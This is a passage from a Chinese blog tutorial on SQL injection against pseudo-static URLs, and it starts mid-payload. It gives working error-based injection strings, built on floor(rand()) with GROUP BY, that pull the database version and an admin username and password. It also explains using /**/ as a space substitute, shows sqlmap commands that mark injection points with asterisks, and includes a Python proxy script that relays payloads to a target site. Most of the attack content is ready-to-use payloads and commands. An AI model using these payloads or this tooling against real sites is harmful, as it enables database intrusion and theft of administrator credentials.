1='1.htmlhttp://www.xxx.com/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html三、手工注入法(二)http://www.xxx.net/news/html/?410.htmlhttp://www.xxx.net/news/html/?410'union/**/select/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),0x3a,(select/**/concat(user,0x3a,password)/**/from/**/pwn_base_admin/**/limit/**/0,1),0x3a)a/**/from/**/information_schema.tables/**/group/**/by/**/a)b/**/where'1'='1.html注:伪静态的注入和URL的普通GET注入不太相同 。普通url的get注入的%20,%23,+等都可以用;但是伪静态不行,会被直接传递到到url中,所以用/**/这个注释符号表示空格。三、sqlmap方法在sqlmap中伪静态哪儿存在注入点就加*http://www.cunlide.com/id1/1/id2/2 python sqlmap.py -u “http://www.xxx.com/id1/1*/id2/2″http://www.xxx.com/news/class/?103.htmpython sqlmap.py -u “http://www.xxx.com/news/class/?103*.html”四、python脚本方法代码一:<code id="code3">from BaseHTTPServer import * import urllib2 class MyHTTPHandler(BaseHTTPRequestHandler): def do_GET(self): path=self.path path=path[path.find('id=')+3:] proxy_support = urllib2.ProxyHandler({"http":"http://127.0.0.1:8087"}) opener = urllib2.build_opener(proxy_support) urllib2.install_opener(opener) url="http://www.xxx.com/magazine/imedia/gallery/dickinsons-last-dance/" try: response=urllib2.urlopen(url+path) html=response.read() except urllib2.URLError,e: html=e.read() self.wfile.write(html) server = HTTPServer(("", 8000), MyHTTPHandler) server.serve_forever()</code>转载:https://www.cnblogs.com/jsq16/p/5942003.htmlhttps://blog.csdn.net/qq_41545233/article/details/106713530
2025年05月18日
383 阅读
0 评论
0 点赞
1
...
32
33
34
...
37